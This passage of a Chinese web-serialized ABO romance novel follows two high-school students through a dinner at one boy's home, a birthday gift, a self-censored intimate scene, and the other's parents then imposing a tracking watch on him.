匙越笑了笑,他没说话,大概是有点热了,隽云的扣子解了几颗,领口有点松散,他看到他后颈上露出来阻隔贴。 “怎么还贴着阻隔贴?” “不想闻到别人的味道,也不想别人闻到我的味道。” 虽然阻隔贴没有抑制发情的效果,不比直接打在体内的抑制剂的效果强,但是某种程度上来说也能稍微避免闻到别人的信息素而引起发情。 匙越想到了他们第一次见面,那时候隽云发情热严重,他把他标记后送到医院,医生告诉他,那是因为隽云给自己打太多抑制剂了,阻碍自己发情,这才会引起十分严重的发情热。 他为什么一直抑制自己的发情期?匙越眉间浮现一丝探究的神色。 隽云发现他们一路走过来,路上会碰到很多闲散的人在附近晃荡,看上去像是无家可归,十分鬼鬼祟祟的样子,隽云还担心他们会不会打劫。 但是越靠近匙越他家,碰到的这些危险份子就越来越少,最终也安全到家了。 想来,匙越家可能住在什么安全地带吧,有地头蛇的保护。 到家门口的时候,隽云随口问了他一句:“你交保护费了吗?” “什么保护费?” “你没交这种东西吗?”隽云奇怪:“那你家附近怎么感觉还挺安全的,都没看到有人来找茬。” 刚才他们回来的路上就碰到了一伙人在一个屋子里砸东西,看上去神情恐怖,应该是这里的流氓强盗,毕竟东城区这边很乱,这种事情应该经常发生,匙越也见怪不怪的样子。 匙越:“噢,那个啊” 他把门推开,隽云没看清他的表情,只听到他肯定地说:“交了。” 隽云心里的疑惑才打消。 这才对。 不然就匙越这个胆小的性格,连学校里的学生都打不过还老被人欺负,怎么可能打得过这里的黑恶势力呢? 可怜的匙越。 还要交保护费。 隽云站在院子里面看着匙越关门,利落地落锁后,转过来的一张脸英俊帅气,碎发下的漆黑的眼眸干净,带着点笑意,看上去单纯又善良。 隽云轻轻叹了口气,匙越自幼失母,在东城区还能安安全全长这么大,性格胆小,怕这怕那的,也不知道每年要交多少保护费。 应该要交很多吧。 说到钱 隽云开口:“你身上还有钱吗?” “有。”匙越推开屋里的门,先让他进去:“你问这个干什么?” “你平时哪来的钱?”隽云有些疑惑。 他本来已经准备好了,如果匙越说他没钱,他就打算再次把黑金卡给他。 里面有一百八十万,算是他的一点点私房钱,但是应该够匙越生活很久了。 匙越家确实比较贫穷,已经是第三次来做客,隽云看的真切,客厅还没有他的卧室大,厨房没有空调,厕所的水龙头不是全自动感应,甚至厕所连干湿分离都没有 以前是打黑架来的钱,现在是他们交钱过来求他保护。 匙越咽下这句话,他说:“以前一边上学一边打零工,就有攒下一些生活费。” “现在还在打工吗?” 匙越:“没有了。” 他说:“转学后就辞掉了,现在高三了学业事情比较多,就没有再打工了,不过凭以前的积蓄也够花很长一段时间了。” 隽云点点头,听匙越提起这段艰苦经历,就没再说什么了。 匙越做了小炒牛肉、炒包菜,还有一道小黄鱼豆腐汤。 匙越炒菜的时候香味飘过来,从没看过别人做饭的隽云就跑去厨房看了几眼。 匙越肌肉结实精悍,勺子在他手中显得轻便小巧,他在锅里翻炒一会儿后,弯腰抓起旁边塑料袋子里的青椒,在旁边的水龙头下洗了洗。 银色的项链晃荡在半空,随着匙越起身又贴在了胸口上,无袖T恤露出来胳膊肌肉线条流畅起伏,薄肌暴起,实在是很赏心悦目。 隽云在门口欣赏了一会儿,很快菜就做好了。 匙越做饭非常麻溜,隽云在他端菜上桌后忍不住问他:“经常做饭吗?” “嗯嗯。”匙越说:“小时候我妈去人家家里缝衣服,回不来,我就会自己做饭吃了。” 原来是这样。隽云顿时了然了,原来很小的时候就会做饭了。 “尝尝味道怎么样。”匙越拿勺子舀了一勺小炒黄牛肉递给他。 隽云坐在一个小木板凳上,他接过,吃了一口,发现味道不错,有点像是酒店的后厨会做出来的饭菜。 隽云有些惊讶地看了他一眼。 “是不是味道不错?”匙越笑着把其他菜都端上来。 “挺好的。”隽云衷心地夸赞。 两碗饭也端了上来,隽云拿筷子夹了几筷小炒牛肉,被辣到了就拿勺子舀了几口饭吃,他眯了眯眼,嘴巴微微发红,但是神情很满意。 “辣吗?我记得你不吃重口味的东西。” “还好。” 家里的饭菜一向偏清淡口味,他在外也很少吃辣,匙越做的菜虽然有些辣了,但是还挺开胃的。 客厅里很多装叠的箱子、塑料袋,堆叠在沙发的角落、柜子旁边,挤挤挨挨。 已经晚上七点多了,客厅里的灯不是非常亮堂,老旧的灯泡许多年没有更换过,显得有些昏黄暗淡。 氤氲热气从汤盅里飘摇而上,滚滚热意中,匙越起身给他盛了一碗汤,放在他的手边,又给自己盛了一碗。 隽云垂眸,他吹了一口汤,汤头鲜美,豆腐软嫩,是和家里的饭菜不一样的味道,昏黄的光照在他脸上,细小的绒毛泛起金边,像被太阳照后暖烘烘的神情,春雪初融,就连眉梢都挂上了一点春日的舒展。 汤暖和,心里似乎也暖和起来了,冰冷的外壳融化掉,隽云看了看四周: “你家为什么这么多东西都是箱装好的?” “那是一段很长的故事了,你要听吗?” “我想听。” 匙越看了他一会儿,说:“我妈去世后,家里欠了很多债,本来房子要卖掉的,抵押出去之后有段时间流落街头,一个老师收留了我,我在他家住了一年,直到我考上初中。” “考上初中之后呢?”隽云问他。 隽云的肤色冷白,碎发乌黑搭在耳边,眼睛里有一丝亮光,整个人干干净净端端正正地坐在他对面。 匙越的话顿时拐了个弯:“后来,我就勤工俭学,认真读书,拿下奖学金和助学金,在初中老师们的帮助下,顺利读完了初中,又考上了高中,手里还攒了一点钱,把老房子赎回来了。” 隽云了然地点头:“那就好。” 匙越笑了笑,只有他自己知道,真实情况和这差远了。 哪有那么童话。 东城的情况复杂,是一个就算有爸有妈但依旧容易被欺负的地方,更何况他举目无亲地在这边生活。 于是小学就开始打架,大了读初中后总是有小混混甚至□□的人来学校找他单挑闹事,老师家里住不了多久,为了不拖累老师,他选择了搬出去住。 在学校附近地下一楼租了一个单间,黑漆漆的,没有窗户,没有一点光线。 他就靠帮别人打架赚学费、生活费,还有医药费,打赢一场多的能有几千块。 再算上暑假各种便利店、在酒吧打零工,还有奖学金的各种钱,就勉强能在东城活下去了。 地狱开局,还有书读已经很幸运了,对他而言,念书反而是奢侈轻松的一件事,是他放松的方式。 从小打黑架长大的,直到初三的时候,明叔找上门,情况才改变了。 但是他不想在隽云面前提这些事情,alpha本能地不想他标记过的omega知道他手上染过的血以及做过的肮脏事情。 匙越问他:“汤好喝吗?” 隽云点头:“好喝。” 匙越眉眼一弯,笑的很纯情:“那就好。”—— 作者有话说:在外凶狠打架,回家洗手给老婆做饭。 评论区掉落一百个小红包[星星眼] 第36章 第三十六章 “生日礼物。” 吃完饭后, 隽云看了看手表,差不多八点了,他该回去了。 “我要走了。” “行, 我送你出去。” 匙越把碗筷收去厨房,隽云吃的有点撑, 他坐在沙发上,旁边放着一个黑灰色的书包。 隽云的手搭上去,发现书包扁了下来。 他奇怪地又压了压, 拎起来感受了一下, 里面应该一本书都没有。 这时匙越正从厨房出来,他擦了擦手:“走吧。” 隽云转头看他, 甩了甩书包:“一本作业都不带?” 匙越眉毛一扬:“作业在学校就写完了,有什么好带的。” 隽云:“” “走吧,好学生, 我送你回家。”他在隽云面前俯身看:“回去写作业。” “” 隽云:“你就写完了?” 星耀中学虽然管的松,但是每节课中间休息时间也就十分钟,怎么可能够写完每一科的作业? 匙越:“上课的时候写,反正作业又不太难。” 这人上课居然还一心二用。 “别告老师。”匙越笑了一声:“走吧,再不走你家里人要打电话来催了。” 虽然不知道上次隽云在他家留宿是怎么和家里人解释的, 但是好几次接吻的时候被消息和电话铃声打断过, 匙越作为纯“亲友”的身份对他家家教严厉也有了清晰的认知。 隽云却说:“不会。” “嗯?”匙越淡淡反问:“怎么不会。” 隽云:“他们现在不会那么严格了。” 这是他争取来的自由。 不过仅限在这段时间到他和叶馨言结婚,以后会怎么样就不好说了。 匙越点点头,逗了一下他:“行,那您有空常来。” 觉得这句话还挺好笑的。隽云扯了扯嘴角。 他们俩已经出门了,傍晚还有些热的天气此刻已经凉下来了,一阵风吹过来。 匙越突然说:“我不会告诉叶姐姐的。” “告诉她什么?”他们今天又没做什么。 “不会告诉她你今天来我家,陪我丢垃圾, 陪我吃饭,还和我聊了很多。” 隽云眼睛睁大了:“” 这些事情又不是多大的事,非要说的这么这么奇怪吗? 怎么像他背着叶馨言在外面偷情,匙越在城郊住着,他定期去看望陪伴一样。 “”隽云脸上升腾起热意,他强压下去,强调:“我和叶馨言只是订过婚而已,我和她没有关系。” 得到了满意的答案,匙越另一边唇角勾起:“喔。” “” “但是你放心,我一定不会告诉其他人今天你来我家了。” “”来同学家是什么很隐私的事情吗? 不过确实,他们私下里来往的关系,不能让学校里其他人知道,不然会引起怀疑。 隽云就很严肃地点头了:“你说的对。” 匙越就偏过头去,肩膀忍不住抖了抖。 今晚月色很好,一轮明月高悬在天上,东城区属于郊区,甚至还能看到星星。 四周隐蔽,偶尔会经过一些芭蕉密林,隽云和他并肩走,很快就回到了熟悉的上车点,那里有一个比较大的店铺,店铺有一个很大的遮阳铁棚顶,每次隽云下午过来的时候都会在遮阳的棚顶下等他来接。 司机李叔收到消息后已经提前开车过来等着了,把隽云送上车前,匙越扯了一下他的衣角:“先等等。” 于是隽云转过来:“怎么了?” 匙越:“我马上要生日了。” 隽云默了一下:“我知道。” 匙越“噢?”了一声:“你怎么知道?” 说的好像他很关注他一样。 隽云噎了一下,道:“不是每个人看到你id上面的数字都傻的不知道是什么意思好吗?” 匙越失笑:“也是” sy1011,稍微有脑子的都能猜出来是什么意思。 现在会把昵称改成名字缩写加生日的人真不多了,隽云觉得匙越这种网名取名方式还真是够老套的。 “那你”匙越的话忽的拐了个弯:“你那天有事吗?” “怎么了?” “没事,我就是想生日的时候,请你吃个饭。” 他过生日,请他吃饭? 隽云迷茫了一瞬。 不过匙越做的饭确实挺好吃的。 隽云不管是在家里还是在各种宴席酒会上都被要求不要吃太多,因为那样会很难看,所以他最多最多只能吃个七八分饱。 但是今天他就吃的很饱,匙越给他盛的一碗饭一碗汤他都吃完了。 好像在他身边就不用顾忌那么多。 但是如果说喜欢吃他做的饭菜有点没面子,说下次还来更没面子,于是隽云不自然地说:“再看吧。” “那你会给我准备礼物吗?”匙越的声音透着一种委屈巴巴的可怜感。 礼物? 这个他倒是还没有开始想。 同学之间互相送礼物很正常,特别是生日这种时刻,隽云不是不能准备一份给他,于是问他:“你有什么想要的吗?” 匙越不假思索地说:“没” 顿了顿,他马上改口:“也不是,也有个想要的。” 隽云:“想要什么?” “想要”匙越浓密又黑的睫毛轻轻颤动,像一只可怜摇尾的大狗,匙越说: “想要你到时候能过来陪我。” 隽云猛地咬住下唇,瞳孔轻轻收缩,他觉得自己的心跳好像有点快。 太 太直接了。 从来没有人对他说过这么直白的话,想要他过来陪他,爸妈也没有,通常是命令他,赶紧过来。 隽云的面庞白皙,眼睛和头发乌黑,整个人看上去很干净冷静。 “你你下次别这么说话。”隽云凶巴巴地说。 “你的耳朵好红。” “”隽云挤出两个字:“闭嘴。” “那你到时候能来吗?” 隽云有点犹豫,偏偏匙越还一脸期待地看着他,让他说不出更冷酷的拒绝的话。 他是个omega,omega三番五次去alpha家里不太好,而且已经被隔壁老伯看到过好多次了,再去不太好。 他勉为其难:“看那天有没有事吧。” “来吧。”匙越眨眨眼睛:“同班同学来给我过生日,我会很期待的。” 也是 同学同学而已。 隽云心想,同学过生日去他家里玩玩怎么了。 文强和陆思华每年过生日都会邀请他去家里做客,他不也每次都赴宴了? 没必要太过于放在心上。 隽云心跳如鼓,胡乱地答应了:“嗯嗯。” * 很快就到匙越的生日了,隽云其实还没有想好要买什么送给匙越,于是在只剩最后三四天的时候,他买好后加急让人送了过来,总算在匙越生日当天赶上了。 又是一个下雨天,隽云依旧坐车到了老地方后就在车上等他,等了没几分钟匙越撑伞来接他了。 天气转凉了,隽云穿着秋季的校服外套,外套拉链拉到胸口处,里面的衬衫扣子扣到最上面,领带结一丝不苟打的方正,匙越撑着一把伞站在车边,愣是让隽云下车后一滴水都没有沾湿。 “等一下。”隽云说。 司机从副驾驶递给了他一个东西,那是一个白色的包装袋,四方的黑色丝绒盒子,上面还用白色流光溢彩的彩礼带打了个蝴蝶结。 很像求婚戒指盒,不过比戒指盒要大点。 霎那间,匙越转头,目光黑沉沉地看着他,水珠打在伞面上滴答滴响。 “什么意思。” 太快了。 匙越握着伞把的手紧了紧,说实话,他还没做好准备。 “什么什么意思?” 隽云蹙了蹙眉,他不明白匙越在说什么,这个不是很明显吗?他的生日礼物。 隽云往前递了递:“这是给你的生日礼物。” 隽云的表情太过正经,匙越一下就明白他误会了,愣了愣:“怎么是这样的包装?” 隽云微抿了一下唇,手心有点潮湿,说实话他也觉得这个包装盒很怪。 说不出的怪。 他是找人定制的,两个小时前才交到他的手里,而帮忙定制的那个人似乎错会了他的意思,包装袋和盒子上都打上了小巧精致的蝴蝶结。 “谢谢。”匙越接过说。 他没想到他真的会送他礼物,其实他只是想要他来。 自从十一岁母亲去世后,就再也没有人送过他生日礼物了。 没有当面拆开,匙越撑着伞和隽云走在回家的路上,雨水滴答滴答,这次隽云抬头偷偷看了一下伞面,果然和那天在更衣室听到的一样。 伞真的,是往他这边倾斜的。 走完有涂绘墙壁的宽斜大路,路边有一个路灯的时候,昏黄路灯下雨丝飞斜,暖黄的灯光照在隽云的脸上,平添一丝毛茸感,他低垂着眼眸看路,匙越看到他的耳朵又红了。 “冷吗?” “啊?”隽云抬头,眼神交汇的一瞬间他有点慌乱地移开了:“不冷。” “吱呀”一声,院门被推开,然后落锁,紧接着房门也被推开。 温暖的饭菜香味扑鼻而来,按下开关键,灯光亮起,暖融融的昏黄灯光照亮了这一处不大的居室 这次做的菜比较丰富,很夸张地,只有两个人吃饭但是匙越做的菜摆满了一张桌子。 吃完饭后,匙越佯装云淡风轻地打开了盒子。 黑丝绒的盒子里放了两样东西。 一样是一对莫比乌斯耳环,中间镶着一枚紫水晶。 匙越的指尖划过耳环,紫水晶触感冰凉,在灯光的折射下反射出光芒。 耳环只占据了一小块地方,更大的面积托放着一个项链。 那是一个双层项链,一个项链是四角星,像星星,底下的一项链是月亮。 “怎么还带钻?”匙越故意问。 “。” 隽云硬邦邦地解释:“别误会,就是看款式好看而已,也不贵,我就买了。” “多少?” “不多。” 确实对隽云而言这些钱确实算不上什么,选这个礼物价格不重要,他只是觉得这个礼物合适他。 只有一个星期的时间给他准备礼物,那时候他想了很久都没想好要送什么。 匙越不像文强,每次都会很刻意地旁敲侧击地提醒他喜欢什么,也不像陆思华,每次他买什么他都会微微笑着说喜欢。 最终敲定礼物的一个契机是在一次上课的时候,老师点名让匙越回答问题。 当时他顺着全班的视线看向匙越,匙越懒散地站着念练习题上的答案,在灿烂的阳光和窗外葱绿树叶中,他看到了匙越耳朵上戴着的耳钉,还有脖子上的十字项链。 后面他就特意联系了一位设计师,定制了一套耳钉和项链,准备送给他。 “怎么样?好看吗?”隽云问。 “好看。”匙越的声音有点哑。 “有镜子吗?试一下合不合适吧。”隽云说。 “在卧室,你跟我来。” 他和隽云走到卧室里,开了灯,小小的卧室一览无余,没有什么多的装饰物品,只有一张床,一个柜子,柜子上摆着一个小兔子闹钟还有一个巴掌大的镜子。 匙越拿起镜子坐到床上,把盒子递给隽云:“那你帮我戴吧。” 隽云说:“好。” 如果他能预料到十几分钟后的局面他一定不会说出这句话,甚至会后悔过来靠近这么危险的alpha。 匙越坐在床上,隽云站在他的腿间,匙越坐在床上就没有那么高了,大概到隽云胸口的位置,方便隽云给他戴东西。 隽云应该是又贴了阻隔贴,他闻不到他身上的气味了,一丁点都闻不到,于是他放在膝盖上的手动了动,很想要握上在眼前晃的腰,拉过来,贴在他身上。 像隽云那时候第一次发情一样。 但是最后他的两只手抬起,轻轻拽住了他的衣角。 隽云理解为他有点紧张,于是安抚了一下他:“很快就好了。” 先戴上了项链,银色的项链链身延展性非常好,隽云的指尖泛红指节嫩白,戴上去后,他侧勾了一下项链,冰凉顺滑的链条一路下滑,直到月亮和星星都卡在他的指间。 他的五指轻轻扣起,于是月亮和星星就都在他的手心里了。 匙越问他:“你是什么时候生日?” 好漂亮的项链。 隽云的声音轻轻,就连呼吸声都放轻了,生怕惊扰了月亮和星星,在手心里许愿似地,闭上眼睛感受了一会儿才说: “我十二月。” “那你比我小。” “对。” “十二月几号?”匙越又问。 “八号。”隽云说—— 作者有话说:再不跑要被吃掉了。 评论区发小红包 第37章 第三十七章 “咬。” 隽云默默地放开项链, 项链落回匙越的胸口上,匙越穿的不多,黑色的正肩T恤显得他的肩膀宽阔锁骨平直, 项链细软,挂在他的胸前坠着挺好看的。 隽云对自己的眼光感到很满意。 “好了, 现在我帮你戴耳钉。”隽云兴致上来了。 他身边的同龄人很少有人打耳钉,匙越是他第一个接触的打耳洞的alpha。 他觉得这个老实的alpha在某些方面确实挺酷的。 隽云动手把匙越耳垂上旧的黑曜石耳钉拆下来,再把他的礼物戴上去。 隽云盯着他的目光专注, 手上有汗, 好几次都打滑了戴不进去,他没有戴这个的经验, 于是又凑近了看,仔细地对准。 他太专注了,以至于没有注意他和匙越的距离早就超过了安全范围, 就连匙越的呼吸沉了几个度,手扶上了他的腰都没发现。 匙越喉结滚动,温热柔软的细密气息喷洒在他的耳畔,这简直在考验他的意志力。 脖子上的青筋跳了跳,匙越忍了又忍, 听起来声音有些异样:“好了吗?” “再等等。”隽云很高兴地忙前忙后, 专注地给他戴耳钉,就像在打扮一只很大的小狗。 等到两只耳朵都戴上了,隽云盯着耳环看,莫比乌斯环上的紫水晶在灯的照映下流转着细碎的光芒,他伸手,想摸一下。 他一眨不眨地看着,伸出手, 指尖触碰了一下就瑟缩回来。 还是算了。 就在这时,匙越抬手,分毫不差地捉住他的手放到侧脸,冰凉的银环外围从隽云的指尖划过去。 这是他从来没有触碰过的象征着打破禁忌和桎梏的东西,这是不属于他的自由。 隽云指尖回缩,想往后退,只是匙越握着他的手加了点力气,把他拽得往前踉跄两步,扑进他的怀里,匙越接住他,搂上他的腰。 “!??” 隽云心里一悸,几乎趴在匙越的肩膀上,一只手还被他拉着,另一只手攥住了他的衣服。 他们之间的距离太近了。 隽云的半边手被他强制性反握着,放到他的侧脸上,指尖勾着他的耳钉,耳钉就在隽云的手里,他也是。 匙越抓着他的手,然后侧过脸,深沉的眼眸直直地盯着他,在他的手心里摁了一个吻。 虚虚笼笼的氛围被打破,匙越侧着脸盯着他,流露出一种他从未见过的神情。 他心里咯噔,生出一种后颈发凉的感觉,红红的指尖蜷缩。 不应该离他这么近的。 他是alpha。 会把他吃掉的alpha 不应该过来的。 匙越都呼吸都喷洒在他的手上,嗓音低哑,带着别样的意味:“你想不想闻一下我的信息素?” 确实很久没闻了。 他应该说不。 但是那是像是会让人上瘾的毒药,停了一段时间,在对方稍微释放出一点可以再试试、再尝尝吧的信号后,他就忍不住靠近。 和他对视着,隽云不说话,匙越就缓缓放出一点信息素。 离得太近了,隽云不由得打量起他的长相,匙越是真的长的很好看,碎发搭在饱满的额骨上,鼻梁高挺,骨相优越,隽云被拽着摸着他的侧脸,心想这个人如果在赛级狗狗里面也是最英俊上等的品种。 隽云的视线一路往下,心道,就连嘴唇也不厚不薄的,看起来很软。 鼻尖萦绕着很熟悉很勾人的气味,本来就只相隔几十厘米的距离,看到匙越的双唇开了开,他鬼使神差地俯下身,呼吸越凑越近。 直到完全陷入一片柔软。 匙越的味道 隽云在他的唇瓣上贴了一下,只是这样就已经满脸通红,睫毛颤抖。 好像越界了。 于是尝到了一点味道就要松开他,他认为他现在是很清醒的状态,他没有发情,也没有生病需要治疗,不需要再借他的信息素安抚了,这样擅自亲他是不对的 就在他要离开的时候,有一双手压上他的后背,把他往匙越的怀里摁,让隽云又猛地重新贴上了他的唇。 “唔唔” 和隽云的贴贴不同的是,匙越的吻这次出奇地凶狠,他咬开隽云的唇,舌尖探入,细密地舔过齿贝,毫不留情地搜刮他口腔内的蜜度。 “你骗” 剩余的话都被拆吃入腹,说不清有多久没有这么亲过了,或许也没有多久,也就两个星期,但是不是因为信息素治疗、不是因为喝醉酒了产生的亲吻还是第一次。 舌尖都被吸吮得发麻,被肆意卷起而又嬉戏追逐,无论隽云逃到哪里都被准确地捉住,被含着舌头搅弄舌尖就连呜呜声都发出不来了。 吞咽声和密切的接吻水渍声在室内响起,隽云呼吸急促,他的手不知道什么时候从推拒变成环上了匙越的脖子,与他密切相贴。 心里告诉他omega和alpha这样不对,没有谁的同学情是这样的。 心跳速率过快,他终于才开始迟钝地回溯一切,不是要来给匙越送生日礼物吗,怎么他现在在床上了? 问题是 匙越这么对他,这个alpha这么过分,但是他好像也没有非常反感。 他确实想要他的味道,很久没有再闻到了,其实他很想要 隽云脑子里嗡嗡作响,心跳快要跳出胸膛,犹豫和迟疑被匙越热烈的亲吻甄灭,他来不及再想什么,就被扑倒了。 匙越的手掐着他的腰,天旋地转间隽云被压在了床上,外套挂在手臂上要掉不掉,里面的领带被扯开了,两人的喘息都十分滚烫急促,匙越的吻顺着他的下巴,落到了他的脖颈 (审核你好,没有脖子以下!!!) 毛绒的头发顶到他的下巴,温热有重量的身体压在他的身上,然而动作却称不上温柔,反而有种凶悍,叼着他的皮肉啄吻。 “别” 隽云眯起眼,难耐地喘息着,手像是推拒地抵在他的肩膀上,最后放在他的头发上,抓着拢着他的头发,可是没什么力气,反倒看上去像是迎合,匙越的吻逐渐往下 外套随着床上的挣动的动作掉在地上,衣领大开,匙越冰凉的银链滑落到隽云的身上,隽云看到月亮和星星掉在他面前,他抬手试图勾住,星星和月亮却逐渐往下去了 那里 隽云的腰身猛地一弹,呼吸急促,隽云脸上绯红一片,耳朵通红着:“不要” 话一说出口他就仰着脖子发出一声难耐的黏腻音,他抬手,手背抵在额头,挡住眼睛,试图挡住自己的表情,但是很快他就连这种难堪情绪都感觉不到了。 【富强民主文明和谐,富强民主文明和谐,该删的通通都删了审核老师(敬礼)】 铺天盖地的感受不肯放过他,搭在匙越的头上的手指白嫩指尖通红,被他抓下来亲了亲,然后牵着。 脖颈越来越红,隽云大口呼吸,额头沁出了细密的汗水,眉间眼尾绯红绚丽,他咬住双唇,难以抑制地喘息 两人都没有再压制信息素,白兰地红酒信息素和橄榄香信息素在室内暧昧交缠,室内温度不断升温。 浑身凌乱,隽云的领带一半挂在身上一般掉在床上,衬衫扯开了好几个扣子,衣服还勉强穿在身上,只不过莹莹的汗珠挂在白皙的皮肤上,水捞出来的一样,白里透红。 头抵着被子,隽云双唇微张地一喘一喘,他的头发乌黑,额头的发丝打湿了,脸像被瓷洗过一样,双唇鲜红,还有牙印在上面,他的眼眸半眯着,好像有水要从里面溢出来了。 明明还没做什么的,他却要哭了。 就到这种程度就受不了了? 匙越的眼眸墨黑,盯着他的脸:“娇气。” 烟花似地炸开来,隽云的脑子还一片空白,无法对他的话作出任何回应,好半天,他眼神才渐渐有了神采,缓和过来和匙越对视上的时候,心脏一紧,呼吸都停了几秒。 那双眼深邃而幽深,透着一股让人不寒而栗的掌控欲和浓浓的凶狠欲望,那哪里是热情的狗,是一头随时能扑上来将他撕咬拆吃入腹的狼。 怎么会招惹了这样的人。 他想跑。 含着泪花的视线往下,从他高挺的鼻梁到嫣红的唇,唇角有白色,那是 轰然一声,隽云的脑袋转不动了,他的脸上通红,难得磕巴的说: “你你谁让你” 匙越喉结滑动咽了,他压下来,手撑在他的两侧,肩宽体阔的好身材此刻尽显,完全将他覆在身下,及其危险地和他鼻尖抵着鼻尖,磨了磨,凝视着他。 似乎在考虑要不要就现在把他吃掉。 最终侧过脸,先在他的嘴角亲了一下。 隽云觉得他的脑袋快冒烟了,脸色通红,他偏过头去不敢看他了,侧脸到脖颈的线条清瘦,肩颈线绷成一片,表情看似还算镇定,但是身体却在微微发抖。 他在害怕。 omega和alpha在这种时候体力差距就显现出来了,隽云明显的感觉到匙越的手掌滚烫,像铁般牢牢桎梏着他,捏着他的手腕,意味不明地摩挲。 他要干什么? 隽云在他重新碰到他的腰时,浑身一颤。 幸好下一秒,匙越的嗓音沙哑低沉:“算了。” 算了 是什么意思? 隽云的眼睫很长,挂着点点泪珠,那是刚才生理性刺激时流下来的眼泪,眼尾湿红一片,眼睫在眼窝处打下一层阴影,衣裳大开,却稍微冷静一点了,干涩又嘴硬地说: “哦哦。” 匙越沉沉呼吸了几个来回,灼热的呼吸打在他的脖颈上,好半天,隽云僵在床上。 匙越深呼吸,从他的身上起来。 “滴”的一声,老旧的空调开始运转,隽云听到房门开了,随后他躺在床上,听到隔壁的洗手间传来淅淅淋淋的洗澡声。 隽云听着隔壁厕所的水声,盯着顶上老旧的顶上看,呼出一口气。 脸上热意难散,他从床上爬起来,扯过床头的纸巾擦拭身上沾上的,又把衣服拉好,从床上下来。 结果在这间小房间里转来转去找了半天都找不到垃圾桶:“” 只能把那一两团脏了的纸放在床头,看着那几团纸,他又还是走过去拿在手上了。 不然摆在床头是不是有点太奇怪了? “” 不明白怎么就变成这样了,是谁先开始的? 身上的白兰地酒香挥之不去,萦绕着鼻尖,时刻提醒他刚才他们做了什么 等匙越出来的时候,发现隽云已经走了。 他一句话都没和他说,门还摇摆着一些弧度,应该是刚出门不久。 匙越换了一身干净的衣服,拿起手机准备,刚巧就收到了隽云的消息:“家里有事,我先走了。” 逃跑了。 匙越的手一顿,把刚打好的消息删掉,他回复注意安全。 他躺在床上,心情已经平复下来了,眼尖地发现被子下压着一个东西隽云没有拿走,那是一条领带,他放在鼻尖闻了闻,上面还有隽云的味道。 他埋在上面,深深地吸了一口气。 他第一次为自己控制不住的鲁莽行为感到后悔。 但是回想隽云刚才失神的表情 那是一种介于舒爽和难堪羞赫的表情,红潮从脖颈漫上脸颊,整个人胸膛起伏,漂亮得让人移不开眼睛。 匙越眼眸一暗,难以抑制地亲了亲领带。 其实也没有多后悔—— 作者有话说:搁这回味上了。 第38章 第三十八章 “亲过嘴的陌生人。”…… 第二天, 隽云请了一天假,没有来上学。 直到第三天,才看到隽云的身影。 学生会课间要巡查违纪情况, 等匙越回到教室意外看到了隽云的身影,身板挺直, 校服穿在身上熨帖贵气,露出来的一小截侧颈皮肤白皙细腻,匙越盯着看了一会儿。 文强站着他的桌边, 隽云有一搭没一搭地和他聊天, 突然他感觉到一阵阴湿黏腻的打量,似蛇一样攀上后背阴冷地黏在他的身上, 湿漉漉地舔过他的后脖颈,泛起一阵鸡皮疙瘩。 隽云眉头微微一蹙,他侧过脸, 隔着打闹的人群,一下就和教室后排靠着门站着的匙越对上了视线。 “” 好久不见。 匙越站在阳光下,朝他笑了笑,碎发微分,眉眼盈盈流转着细碎笑意, 非常阳光少年的模样。 好半响, 隽云收回视线。 刚才还在喋喋不休的文强骤然住嘴,他鬼鬼祟祟地压低声音:“喂,小云云~你老实说,你和匙越是不是” “什么?”隽云问。 气氛凝滞了一瞬。 等着他能说出什么来,结果文强说:“你们是不是好朋友~~~” “”一个星期前说的不熟在前天荒唐厮混的一晚后再难说出口,隽云噎了一下,艰难回答: “是的。” 他们是好朋友。 脑子里闪过前几天在床上匙越扣着他的手, 压在他身上,灼热的唇吻过他的兄口,滚烫的手掌揉过他的腰,再往下 放在膝盖上的手紧了紧,他坐直了一点。 偏偏文强还在反反复复地问:“真的吗?真的吗?噢?这是真的还是假的?” “” “你的表情怎么这么奇怪啊隽云,今天很热吗?你的脸怎么红了?” “好了!别说了。” 隽云的心跳快了一点,就在这时,他的手表突然发出一声清脆的滴响。 “滴——” 文强的注意力顿时转移到了他的手上,诧异道:“我去,这什么声音?” “我看看。” 陆思华的声音在后面响起,他走到隽云身边,两指夹着手表拎起隽云的手腕仔细看了一下: “古俪世家的监控手表。你爸妈让你戴的?” “什么!监控手表?”文强大惊:“不是吧,之前不是说不限制你的自由了吗?怎么又来啊!这次还上强度了?你爸妈他们疯了?” 隽云手上的腕表不再是以前他经常戴的那款,蓝宝石玻璃材质的腕表换成了严肃沉重的黑色,沉甸甸的手铐一样牢牢地拷在细弱的手腕手上。 大尺寸玻璃触摸屏上面显示时间、心率,还有语音提醒。 文强不满:“他们怎么给你戴这个啊?跟囚犯人一样。” 隽云的表情很冷,没什么所谓地“嗯”了一声。 他摆弄了一下手表,上面显示的心率恢复到了正常值。 文强小心翼翼地点开主页旁边的一个图标,上面显示今日步数以及地图点,而现在地图上显示他在离家三十分钟的301教室上课。 “我艹了,还有跟踪定位系统呢,这也太变态了!你爸妈真是个”后面那段粗话文强咽了下去。 何止,如果手表检测到心率波动时间太久、波动的太厉害还会跳到自动通话阶段。隽云心道。 “为什么突然给你戴这个?”陆思华问。 隽云的脸色不是很好,眼睛下方有淡淡的黑眼圈,他这几天都没睡好,眼睫毛在眼睑下方投下浓密的阴影。 他心知肚明被发现了什么,只是面对他们俩的关心,他只能摇摇头: “不方便说。” 陆思华凝视着他,他和隽云认识这么多年,隽云有多讨厌被跟踪、多讨厌被监视,他是知道的,好半响,他问: “是不是因为匙越?” “!!!”文强嘴张成一个o形,十分震惊,他左右环顾,凑上来压低声音问: “不是,他们俩不是才刚和好吗?这又关匙越什么事啊?” 他脑子里顿时闪过一个念头:“该不会是你爸妈不让你和社会招考生玩吧!” 以为他要说出什么惊天地泣鬼神的话,隽云:“” 陆思华瞥了眼他,没理他。 隽云旁边的柳元誉向文强投来关爱智商的眼神:“第169军区脑肿瘤医院,陆思华家开的,你去挂号应该可以不用钱。” 文强边冲过去按着柳元誉:“柳圆圆你说谁脑子有问题!?” 另一边,支开了文强后,陆思华看着隽云:“你和他发生了什么对不对?” 隽云抿了抿唇,没说话。 事实上,监视手表在前天晚上就戴上了,那天他在匙越家卧室的床上坐着愣神的时候,收到了他爸妈的消息,要他立刻回家。 以为是他爸妈说是放松他的监管实际上还是派人跟踪他了。 回家后发现不是,只是日理万机的董事长元青下午回家发现他不在家里,晚饭也没看到人后就直接打电话给了学校校长。 以为隽云身为学生代表是因为学校的事情才不在家里,结果被告知学生代表已经更换人了,还是隽云主动要求更换的。 